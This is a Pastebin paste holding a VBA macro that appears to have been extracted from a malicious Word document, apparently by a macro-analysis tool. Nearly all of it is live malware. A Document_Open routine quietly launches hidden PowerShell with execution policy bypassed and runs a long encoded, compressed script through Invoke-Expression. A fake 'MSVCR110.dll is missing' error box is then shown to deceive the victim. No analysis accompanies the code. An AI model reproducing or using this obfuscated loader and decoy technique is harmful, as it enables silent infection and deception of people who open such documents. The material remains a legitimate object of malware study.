Advertisement
opexxx

vbamacro1

Mar 10th, 2017
363
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 13.63 KB | None | 0 0
  1. File "ThisDocument.cls" (Streampath: "Macros/VBA/ThisDocument") has code: "Sub Document_Open()
  2. Execute
  3. errorb
  4. End Sub
  5. Public Function Execute() As Variant
  6. Const HIDDEN_WINDOW = 0
  7. strComputer = "."
  8. Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
  9.  
  10. Set objStartup = objWMIService.Get("Win32_ProcessStartup")
  11. Set objConfig = objStartup.SpawnInstance_
  12. objConfig.ShowWindow = HIDDEN_WINDOW
  13. Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
  14. objProcess.Create "powershell.exe -WindowStyle hidden -ExecutionPolicy Bypass -nologo -noprofile -e SQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACAAJAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAgACgAJAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBEAGUAZgBsAGEAdABlAFMAdAByAGUAYQBtACAAKAAkACgATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACAAKAAsACQAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAegBWAGwATABkADYATgBJAHMAdAA3AFAATwBmAGMALwAxAEcANwB1AEwASwBvAEgAawBGAFgAVgA5AEQAMgB6AHMATABCADQAUwBTAEQAegBTAGkAQwBuAFoAeQBGAEkARwBSAEQASgBvAHcAMQA2AHcASgBrAGYAUAA1AEcAQQBKAE0AdQB1ADYAdQBrADcAaQA1ADUAZQArAE4AZwBTAFMAVwBiAEUARgB4AEYAZgBmAEoASAArAHUAOQBNADEANwBhADcANAB3AGQAMgBkADIAeAArAFcAWgBWAHkAUgByAEUAegArADg" _
  15. & "AZABOAFAAbgBpAHYALwArAEkATwB5AGEANQAzADIARgBiADcANAAzADcAOQBQAHkANgBTAHEAUABPADUAZQBXADEAZwBnAHYAMQBiAEYAWQB0AHYAcwB2AGoAeABNAFMALwA2AHMATAA5AEYARABLAEsAQgBHAGUAKwBJAFMAdAAwAEMAegB0AFMAZABtADIAdwBMAHQAaQBmAFQAWQBXAG8ATABZAHUAbwBMACsAQwAvAFoATgBUAHAAdgBXAHIAWABQADUARgBDAHYAbgBPAGgAUgBrAGIAdQB1AEwAQgB5AG0AegA1AFoAMQBpADAAawBqAEcATgBDADcATgBPAGgASQBlAGsAbQBmAG4ATQBiAGUARABkAEkALwA5ADAAdwBFAFYAcQBJAHMARgBlAG8AeQBTAHUAbwBoAG0AVwBxAFUAcgB1AFcAaQA0AGoAMQA4ADEAeQBhADQAMQBpAFcAKwB3ADgAOQBnAFoAVAAwADAAQwAzADcAKwB1AE8AdgBwAFYAeQB1AGUAVQBkAEwAeABPAEYATgBSADYAcQBuADYATQBGAGQAUQBSAE4AVQAvAFcAYQBKAEUAUwBKAFUAbQAwAFAARgAxAGIAdgBQAGMAbABrAE0AMABqAEwAdQAxAFoARwBPAGcAMABXAFAASgAxAE8ASQBPADEAZwBsAGcAUQArAGYAeQBNAEMAdwB6ADIAbwBSAGoAMgBQAEIAagB5AG0AWQA3ADIAbgBWADMAdwBnADQAOABMAHkAdQAwAGMATABWAGwANwA4AHoAVAB5AHY" _
  16. & "AYwBUAHkAegBUADAATwB6AEIANwBsACsAcgBQAHIAUABMADQANQBrADMAcQA3AFkARQBHADEAcABSADIANAB2AEwANABFAFcALwAzAFEAUAAvAE4AZwA3AHgAbgArAFYAcQBLAFoAdgBzAGQAVwB2AGMARgBCADMARABxAEIAVABTAE8AMAA2AEsATABaAEEAagBDAHcANQAvAEQAYwBDAGcATwA3ADAAaQBSAGQAYwB6AGcAVABiAGUAagBaAGoAUQBUAE0ARQBVAEgAdQBNAEQAcQBiAFcAOQArAEUAdABZAFAAOQBzAFMAdgBnAEEAagA3AFQAQQBQAEIAWQA3AHgAYwB4AEgAbgBBADcAeAA1ADQAQQBNAFEAagAwAEcAbgB6AFAAWQBMADkATgA2AFAATgBVAGsANwBGAGsASQBaAEwARwB4AGIAeQBPAEMAdABLAHoAYwArAEoAQwBQAE8ARgBBADUAMwBiAEkAbgBzAGUASwBsADkAZwB5AGUAZgBaAHkAQwAvAEQAQwBhAGEAUQBpAHEAagAwAHQAdwBWAGQAOABqAEEAdQBUAC8AaQA3AFkAbwBqAE8AegBpAFcATQA1AGcAMwAzAGIAMwAvAHAAbwBwAG0AVwBQAHIAVgB2AEkATABYAFkAVwB5ADIAMQBnAHAAbQBGAHgAcABsAFoAZwBjADYARgB2AFYAaABqADgAaQBrAHEANwBkAC8AeQA1AGgAVwBBAGQASwB1AFMARwBRAEYAeQBNAFgANAAvAEYANwA0AGcALwBqAFoAawBkAGc" _
  17. & "ATgBrAGUAZgBuAEoAVQBVAE0ARAB3AGwAagArADIAUQB2AHYAUQAxAHgAdgBzADAAUQBNADgANwA2AEkAQwBjAFgAWgBCAEcAOABnAHAAUABhAEkATAAvADEAMwBlAGYARAA5AGUAZgA4AEEAWQBJAFgAOABPAHYAbQBIAHEASwB1AEkAZQA4AEkAVABhAG4AdgArAG4AYwBSAEsAbABBAHYAegBMAGsAbgB6AHIAYwB1AGUAcAAzAHAATwAxAGYANABiADgAMQBFADYAYgA3AGoASABmAE8AcwAzAHIASwBtAGgAVwBJAHcAZABSAHMATwBzAE4AVgB1AHcATQBCAGYAaABHAGUAcwB5AGMAWgBmAHUARQAzAEIAcgBpAEEANwA2AHEAcgBCAFoAUQA3AFAAcAAwAEQAMgB0ADcARgB1AE4AZwBLAFIAYQA0AG8ASAB1AE0AVAByAEQAbgB3AHkAbABRAEMAZQBCAHEAZgA3AHUAZQBsAHYASQBlAGMATwBwAGoASABrAHMAdQB4ADkAMwBYAHoASgB0ADgAUQBpAG8AOQBNAFYAdwBRAEoAegBvADIAOABLAEoAZABpAEYAMABvAGUATAArAHYAcgBSADkAcgAvADcAKwBkAFYAegBPAEkAYgBRADcAcgBhAFQAaABEADMAVABhAHcANQA0AEgATQBNAEwAUABoAHMAMAAyAHgAagBHAHUAbwB6AFQAZABZADIAMwBVAHMAeQBGAG0AawBvAEEAVgBSADcAVABRAFUAVQBoAHIANQA2AEUARABVAFA" _
  18. & "AMAB5AGQALwBLAGYAKwA2AE0AQgBmAEYATwBKAEMAeQBSAEwAWAA4AFAAawBQAHcAMgBWAEUARQBEAHYAOAAzADYANwA3AGYAeABPAG4AcQBVAFoAYwBsADgATQBlADQAbQBUAEgAZgB1AGMAVABFAHUAZwBCAEsAKwBJAHMANQBzADkAUABVAEIATQBkADkAdQBmAGMAVgBWAFAAUQBzADAAUAA4AGgAeQBzAFgAbwAyAEMAUgBnADcAMAAwAHoAcgA1AGgAbQAyAHgAeQBnAE0ARQBCAGQAegBjAGYAZABNADYAQQAvAEUAQQA5ADUARgBrAFAAcwBlAGIAQgA5AHoAcgBrAHoAOAB0AEkATQBQAGsAcABOACsATgBRAEUAQQA4ADQAbQB3AHQAaABhAFoAUQAzAHYANgBwADgAOQA4AFMAVgBYAGsANABhAHMAcQBUAHEAeABxAGQAcAB0AEoAdwBmAGYAVQBvAGUAWQBzADUAcwAzAE8ASwBjAFcANQB3AHUAKwBEADUALwBRAG8AcQBzAG8AdABMAE0ATABHADQANQBkAHoAeQBjAEkAegBuAHYAbgBYAEsAeABkADIAUwBaADkAMQB4AHoARgBjAGsAMAA5AEkAcQB6AFoAKwBUADEARwBkADcAZgBHAEkAQwBIAFEAMQBOAGsANQBQAE4ANQBpAEYATABKAFcASgA1AGgAUAAzAEcATABaAGkAbgBFAGcATAA0ADYAZgBOADUAdABBAGoAdABEAEgATwBiADkAMwBGAHgAcwBQAFAAcgBrAGw" _
  19. & "AQwBRAHoAQgBMAHMASgBoAGYAawBtADQAdQB0AGcAcAA1AHAARwBoAEUATABPAHAAKwBhAEMAeQBHAEUASABuAEwAYQAxACsANwB4AEgAcgB1AG0AWQB2AHEANABpAG4ANgBTADIAYwBIADcAMQBjACsASQBUAGUATgAvAHcATQBMAFYANQAvAEEAdQBXAFUAeQBkAFcAdABNADUARQBjAG0AYQBVADYAYwBsADMAegBWAGYATQB5ADQAZABJAEoAZABoAGYAegByADgANABuAG4ARQBtAHYAdABiAHQAVgBMAHcAMQA5AG0AbgBwAHkAagBGAFAAQwBsAE4AegBTAHIAeQBOAC8ASABNAC8AbgBsAGUAMwBrAFcAcAB1AFAAVQA1AGYAdQBzAEwANQBBAFIAVgBHAGgAMABxADYATgA0AEwAVQB4AGoASgBaAFEAYwAwAEUAYgBtAEUANgBkAGsALwBoAHYAUABnAGMASwBmAHIAQgBLACsAcwBRAEsAbQB3AEcAOQBpAGkARwBYAEkAZABPAGcAUABiAE8AawBuADkAdwBmAEgASQBpAGwATABhAHgAYgBLAGQAZwBYAHgALwBtAEIAdQA4AEoAZABtAEEAcQBCAEIAdAA3AHkAbwBXAFUASwBBAFQAVgBUADIAUgBHAG4AZwBEAC8AQgBpADkATgA2AFgANwA5AGcASQA5AHMAQgBqAGkAMwBoAGYAUQBVAEYAdgB6AGUANgBlAEsAVgB6ADUAdgB6AEcARwBvADYAYwB1AFkAZQA5AEgAdAB1AG4" _
  20. & "AYQBNAEQAeABEAG4AZgArAHYATQB5AGMASwBzAHYAQwBOAG4ASwBSAHAAcQByAE8ATABCAGQAbwB1AHIAQQB0ADMASAAxADUAcAAwAG4AcQBBAGUAQgBjAFIATgBiAGEANQBmADYATQBmAEwAMABOAEIAWQA4AHcAYgB6AG0AVwBKAEwAdgBwAEwAegBXADEARgBQAGkAegBoAEEASABuAEEAVwA4AEEARgBxAHoAcgAyAE0AVQBtAEUAdwBuAGcANgBaAEEAdwBCADEAMABIAHkAegB0AEkALwBCAE4AeQAvAEkAYQBjAG4AdwBQAGUAeABmAHIARQBtAGYAeABxAFYAcgBwAGkAbgBtAE0AZwBLAE0AZwBaADAAVgB0AHUAZgBpAHEAQwAvAEoAcAA2ADgAUwBpAEoAcABFAEsATwBQAFMAMAB5AFgANAA4AEcAcQA3AHgAcwBOADUAcgBKADgATgA1AG0ASgBuAE8AUQAyAGYAcwA0AHkAUABaAGEAMABlADkAaAB4ADQANwBNAHoAbgBJADEAeABRAEwAYQBPAEEAUQB2AGUAZAArAFEAOAA0AGIASgBmAFQAagBFAHYAaQBaAGoANAByAFcAMwBRAFkAMQBoAGYAZQBnAFoAMgBzAGMAKwB4ADUANgBHAEIAZQBYADkAQwBtAGEAdwBWAG8AcABGAG8AMgBTAFcAKwBFAFMAOABKAHYAWgBnAC8AWQBIAFAAOABBAEgAbQAwAHAAbABzADkASwBrAHgAMABSAFQARgA5AEMAegA1AEgAWQBsAHQ" _
  21. & "ALwAyAEkASgBTAEcAZwAvAFQAbQBHACsAOABxAHEARQByAFoARwBWAC8AUQA1ADgARQBQAFAAWgBwAEQALwBSADIAeQBrAEgAYQB0ADEAdwBCAHIAZQBmAFMAQgBTAFAAcAA0AG4AdAAzAGYAeABRAFkAbwBvAGgAWQBDADUAdQBiAC8ARgA4AG4ATABlAGkAdgBFAFQAegBDAFUARQBiAEMAWQBLADgARQBtADIAeQBJAEUAYgBqADEAagB4AFYAcgB2AFQAYQBGAHUAcwB5AEYAMwBvAGMANQBVAC8AbQAyAEwATABBADQAYgBLAHMASwBhAFcATQBqAGgAUABXAGsAVABlAGoAUABhAE0AMwA5AGIAVQBwAGoAdgBWAE8AdABnAGoAQgBvAE8AdgBtADMAMgBOADAARABKADgAVwBPAGUARQBrAG0AdAArAHAATABkADMAYwBvAGgAeAB5AFcAWQBuAG0ANgAxAFYAZwBKADkAYgBxADUAQgA3ADcASQBhAGMATgA3AE0ANwA1AHYAZABLAHMAZwBkAE0AVgAwADYAKwBlAHIARwBxAEYAVwBnAHAAaQBJADAANQB6AEYAKwBhAEEAdgBzAHUANgBTAGsAKwAxAFYAOQBIAGUAMABCAEwAQgBZAHYAKwAyAGQARwB5AHkAYgA2AFMAQwBIAHkAdAB5AGEAUwBPADkAawBZAFgAYwBNAEQASABnADgANQBvAEYAMQBpAFIAVAAwAHkAegBXAG8AegBqAEMAbABvAEMAdgA2AFkAagBEAGsAegBqADA" _
  22. & "ASQBZADkAZwA3ADYAagBlADAAdQBJAEEAZABPADQAdgBpAFUAaQBWAFkAYwBlAHIAUwBVAHYAMABtAEsAMgBoAGUAYwA0AGEAUABLAGcAbQA4AE0AYQBPAGMAZQBxAFQAdQBPAFoARwBSAGsAeQB4AHoAagA1AFMASgBiAG4AZQBpAHMAQQB6AC8AWgBMAFkAZQBOAFUANQBZAHUAegArAEYARwBUAHYARwBUAFgAUQBlADkAVQBqAFcARgBPAFoATABaAHEAVQBwAE4AbwBHAFoAZQB0AFEAQQBkACsAMwBJAHMAWABKAHoALwBnAEwAQgB2ADYAMgBBAFAAZwBEAC8ANQAyADgANQA3ADQAKwBqAFcAbQB4AG8AVABOAFgAUwA0AEcAbwBPAGMAZQBMADcAZwBzAFQAcQBBAEIAMABzAGgASgBvADMAagBDAE4AWQBEAHoASQBjAGQATwBrAE4AUAA5ADAARQArAHkASwBZAGQAVQB1ADkAcwA1AGkAdwB1AGUAdwB3AC8AMABQAHkARQBTAFcAcgByADIAMABFAE0AOAAyAGoAYQBjAG8AUwB0ADMAbgA2AGYAMwB1AFkAVABOAHgANgBHAFEAdgBNADEAbgBkAHgAZQB3AHYAcwBzAFAAOAAzAEsAcwBEAG4AMgBWAGEATwBwAFUASgA5AEoANwBIADUAawBXAEIAWgAwAHoAMgBpADUASwBVAEcAZgAzAGMAVQA4ADUAbwBpADYAZwBEAHEAeABmAHoAMQBVAFYAWgBoAEwAcAArADMANgB4AGU" _
  23. & "AbwBhADQASAB6AFEAcABIAGYAVABIAGQAZAA2AFgAcgAzAGIARAA5ADkAWQBCAEMAUwBpAHoAaABIAFAATgBlAEcAcgBsAHoASgBmAFIAagBCAHcAaQBSAFUAegB4AGoAZgBNAHkAWABVAHIAeQBjAE0AbwBsAHYAdwBPAHQAcQB1AFMAQQBjAFoANQBEAC8AbwBKAFAAcAAxAHEANwA0AHMAdQBOAHYAeABVAFQAOABzADIAcwBvAEcAYQB2AFoAdwB6ADMAQgBzAEYAaQA4AEQASAA0AHIAcQAzADIAQwAvAEEAQwB1ADQAOAA0AGoAZgBrADYATgA5AGsATQBIAC8AcgBrACsAMwBnAEIAbABsAEYAaABPADcAQwBPAGoAOQBSAC8AZwA1AG4AUwAwAHAAMQB6AFMAdAA3AFYAZgBJAHUAWABOAEYAOQBEAHYAZAAvAHkAeAArADYAbQAvAGUAcABMADcAYgBGAGMAQQBQADgAZgBHAEoAZABwAGUAegBHAGQAYwBsAEcARQB2AGkAZABnAHgAUABJAEUATgBVAFEAQwBUAG4ALwBpADgAcQAyAEEANQBuAG8AQgArADgATABmAG8AYwBEAG4AagBtADkAbABsADMAMABtAC8AaAAwADUAVQBlAEEAQgBwADUAVAB4AFEAdwBHAFkARAAzAE0AVQB5ADEAbgBpAG4ANABFAGYAegArAEEAWABZAGYAUABHAFUAUgB0ADQAWQBnADQAYQBrAEUAUwA2AFkARgBiAEEAYQA2ACsAZQBRAEwAOQBnAGg" _
  24. & "ANQBBAEwAMQAyADcAOQBFAFAAaAB2AGYAQgBhAEQARgBzAEwAQgBNAGoARQBrAGUAbwBmAHoAVgByAFcANQBlAEEAbQA4AEEAagBPAE0AcgBrAEoATwArAHIAagBlAFMAUgBoADgATgBVAFIAZAB2AGYAaQBnAFQAYgBHAEUAKwBSADIAdwB2AGUAQQA1AC8AbwBBAGQAcgBEADgAdwAvAGcARAA3AFkAZAA1ADcAbQArAFAAVABQAFYAQQBsAGoAbgBOAGcATgBjADYAQgA4AE0ANQBXAFIAWQBmAHQAegBQAGcASwBmAFAAQQBLADMAOQBmADMAZQAwADcAYwB4AG0AeQBUAEoAeAB0AEEAZwArAGsAZgAxAGkAeABxAHoATwBiAE0AYgBQAFQAdAA1AHUAdQA5AGoAMgAvADMASABMAEYAdQBCAGoANgA2ADQAawBwAE4AUABpAHgAdgAvAFgAeQBiAFYAVwA5AHoAZQA3AFMAVgBOACsAdABkADQAYgBFAGMAWAAzADEAagBYADQAYgBEADAASwBlADkAYQBVACsARwB4AFgAZQB3AEgAZgBmAHIAKwBRAFoANgBGAGEAZQBYADQARgAvAFAAWABlAHoASwBQAHQAagA5AFQAYwB4AHYAUAB4AGUAZgAyAFgAbQAzAGUATQAxAGQANABNAHYAKwAxAGcATwByAFgANgA3ADYAZwBtAC8AdQArAHoAMwBQAE4AYgAvAHkAcgBQADQAZQBqAG4AZQB4AGsAVQBDAHoAMwBEAGcASwArAE4AMQBtAFA" _
  25. & "ARgB0AHMAZwA2AFMAWQAvAEIATABCAGgAbwBMAGgALwBlAHgATQBzAGUAKwAwAEQAegBpACsAVwBOACsASgA3AC8AMQBaAFkANgB3ADUAYwBhADEARABuAEYAbQBjAGcAQgBjAE8AeABFAGYAaQBSADEAdABaAGIAcABsAEgAdwBBAGMAMAB5AE0AZgB6ADEAZwA3AFUAWgBmAEwAdABNADIARgBmAGYAcABqADEAVwBHADYAeAB2AHYAWQBHAG8AMwB0AGQAQgBQAFUAVwB0AEIAbAA4AGwAMgA1AG4AMwBJAGMAegBvAEsAKwBuAGMAVwBtADEAbgBuAEMAbQBPAEkAQQB6AEEAeQBNAHgAMwAvAHAANQA0AFUAZgA0AC8AYQBHAG4AQwBZAGgAegBnAEQAZQB1ACsAawBxAHkAWAAzAEYAQQB4AHgAbQBSAGMAVQA1AG0AVgBYAGQAMgB6AFcAegBvADkAWABLAEoAeAAzAGsATABjAHAAWABHAGoASwBlAEIAeAA0AFYATgBPAGUAagBBAEEANQB0AG4AZwBkAE4AaABuAC8AeQBpAEcAWgBpAC8ARgBRAEsATgBSAEsANwB6ADUAKwAyAGMAbABUAFAAaABEAGYAMABFADUAcQBoADMAZABjAHIAVwA1AFYAQgBMAFEAOQB6AFoASABUAEwAagBBAGMARABrAGMAZQBDADcANABXADcAawA4AGMAMQA2AGgAUgBhAHIANgBaADIAMQB6ADQALwA5AFEATgBKADMAZwBXAEsAOQA2AHAATAAyAEQ" _
  26. & "AUQA1ADQAMgB5AE8AQgBwADcAKwBEADIAMgBUAEwATQBXAGIAYQBXAFUAbwBIAFcAeABEAG8AbwBGAHQALwB1ACsAaQBoADQAWgA2AEIANgBSADcAZwArAFUAdgBQAHkAdwAvAEQAVABIAHoAVgBwACsATABBAHcAKwB3ADMAOABNAEkASgBkAEQAcwAwAEYALwBMADEAUgBlAFgASwA5AFoAMwArAHUALwBTAEwAYwBZADAANwBHAC8AdABZAHoASABOAGYATgBsAFMAbgBrAFMAOABLAE0ATwBXADIAMABQAHYAbgBOAHQAUAA3AEIAUQBYADkAbQB0AC8AYgBDAHYARgBiAEQAZgB6AEEAQgA1AEYAUABuADgATwBpAHAAdQBIAE0AUwB0AGcAYwBiAFAAVAA2AGkAOAB2AHUAQgBRAHAAMgA5AHoANAB2AEwAKwBkAEMANwBKADQAOQBEAHYAcQBZAGsATgBiAEQAUABTAFgAMABmAE8AegBRAEgAeQBIAE8AbABRADMANQBzAGsAYQBrADMAVgA3AHYAOQBSAGYAQgAxAG4ALwBvAEQAUwBvACsAcwAvAGwANABtAE8AOABMAE0AbQBrAFQAcgBsADcAVAA2AHoAMQArAC8AUwBLAHgAWABCAEoANwB2ADEAOQBBAFAAcAA5AFkASAB6AC8ARwBmAEgATQBHAHYAcgB2ADIASwBkAEMAUQBYAE8AZwB3AGoARABYADIAbgBFAFoAbAArAEEAWABxAEIASAB5AEUAQwBmAFcAUwBXADYARABEAHY" _
  27. & "ANQBsAHoAMAAvAGYAUgB6AEsAZwAzACsAeQBwAGYAagBWAHIAVwBBAGsAdwArADcAcQArAE0AYwB3AEIAMgBwAHUAKwB1AHMAYQBIADUAZQAxADUAOQBGAHUAUgBSAHoAKwA5ADUANABGAGQAUwBzADUAagBHAEcAVwBaADMAQQArAG0AegB3ADMAeQB5AEkAZAA3AEwAVwBrAHYAZQA5AGsAVABvADcAYgBkAGUAMgBtAEwAQQBmAE8AaQBMAFMAYQA1AGYAbgBzAFAAOAAzADgASQBlAGUAMwBhADMARgA5AEIAegB2AHUAcQBzAGoATgAxAFoAUwBsAGEAdQBlAHcAeABuAGoAMgBsADUAaABvAEUAMQA1AHUAWgAwAHgAOABIAGUAWgBmAHQASQBnAFUANQBaAGIARQBCAGYAdwB6AHgAagB3AFgAdABVAHYATwBxAFYARAB4AHAAMwAwAG4AOABmAGQAQgAvAEQAQwBNADYAQgBXAG8AawBLADUAZwB2AFQASwB2AGwAVgB6AHcAeQAxAFAAegB5AHoAKwAzAGUANAB0AEsAQwBkAEcAbwBqAFQAWAAwAE4ALwAzAE8AdgBaAHYAOQBzAEwAZABJAE0AbABqAHYAdABOAHYARABqAFcASgBtAGcASwA4AE4AdQBmADUANgBDADUARABZAGgAaAB5AFgAeABhACsAdwBUADYAbQBmAFcAKwA5AHAAbgBHADUAcwBhAGEAdQAzAHYAUABaAGYAOAB6AEkAbABKAFMANwB2AHIAcQB5ADQAcwBUAE4" _
  28. & "ANgBEADUATABqAGwAMwB1AE0AdwA1ADMAbQB6AFIAYgBBAFAANwBlAGQATABHAFAAWgB2AGYAbwBIAGUAMgAwAFEAeABUADIAKwBkAFAAUgBLAFUAeQA0AEEAdAByADIAZQB4ADIAZAAyADYATgBwAGUASABNADgAWAB5ACsATwBRAFgAVwBPAHoAMwBpAFcANAB5AFQATAB2AE0AZABjAEIAZgBNAHAAYQBVAE4AdQBTADIAVAB0AHoAMQBpADYASgBlAEQALwBVAGsAMQB6AEEAKwBEAFAAdQBEAHoARgBaAHQAZABsAGkASQBQAGQAWABtAFoATwBXAHIAdAA4AGUANABNAHAAbwArAHUARwBnAEoAeQBCAFQANAB2AEcAcwBBAGEAdABFADIAYwA3AEgAcQByAEcAZgB5AEcAdgA0AGQAegBUAHIALwAxAFgAUgBLAHYAZwA0AFoAYgBEADEAegB6AFcARQBKAC8AYQB0AGQATwAvAEwAYQBuAGoATwA5AEEAcgBDACsAegA5ADcAVABmAFcAOAAzAFYAdwA3AFAAOABxAGsATQBtAHYAaAAxAHoAKwBzAFAAYQBXAHcANgBPAC8ASAA3AFAAcQBlAG8AdABoADMARQBoAE4ANwBIAGcAagBUAE4AcABTAGEAbwB0ADYARABqAEkARgArAGkARABpAEwASwA2AEcASABPAEoAMQBTADcATABNADgAYgBWADkAZABpADcAbwBRACsAQQBqAHoAUgAyAHIAbgB2AFUATwA5AEQAYQBMAEgAYgByAHc" _
  29. & "ASQBRADUARQA1ADMAZwBPAGIAdQAzAFAASQA1ADUAdgBPAHcATQBPAEIALwA3AFoAKwBDAE8AVwAxADkAOQBzAFcAcQBZAFEAUwBuADcASAAyAEwAMQB2AGgAZQB4AFAAcwBuACsAZgB4AG4ANQA4AGcARgBQAHYAVQBkAEsARwBGAC8ASwBIAGMAUwB3AGoAeABSAEUAWQA2AGcASgBkAHQAYwBPAHUAUQBZADUAKwBuAGcAMgA5AG8AKwBqAEwAOABuAGYALwB2AGIAbgB2AC8AegBsADAAegA4AC8AYgBRADcAdABaAHoAbQBqAHUAMAAvAFMAVAB6ADkANwB6AGUANgAxACsAZgBuADUARQBOAEUAcwAvAHYAbQBwAGkAZwAvAEYAcgBtAHkAYgBuADcAMgBhAGIATgB2AGQANgB3ADkAMQB3AC8AOQBmAFgAWgAxAGcAVABiAHEAagA5AE4ATgBuAFAAdwBOAEUAVABrADcAYgB3AGQAdABwAFIAcwBpAHUALwBQAFIANQBlAGQANwBGAGgAegBhAHIAeQB1AGMASwBOAHUAawArAEwAYgBwADYAMgB6AFMAZgBQAHAAYwBWAHIAWgBLAEsALwBhADUAZgBxAHgAZAAyADMAdQBlAFgAMwAzADcAcQAvAC8AegBwAFgAdwA9AD0AJwApACkAKQApACwAIABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8" _
  30. & "AbQBwAHIAZQBzAHMAKQApACwAIABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkAKQAuAFIAZQBhAGQAVABvAEUAbgBkACgAKQA7AA==", Null, objConfig, intProcessID
  31. End Function
  32.  
  33.  
  34. Public Function errorb() As Variant
  35. MsgBox "The program can't decrypt content because MSVCR110.dll is missing from your computer. Try reinstalling the program to fix this problem.", vbCritical, "Protected Mode
  36. System Error"
  37. End Function"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement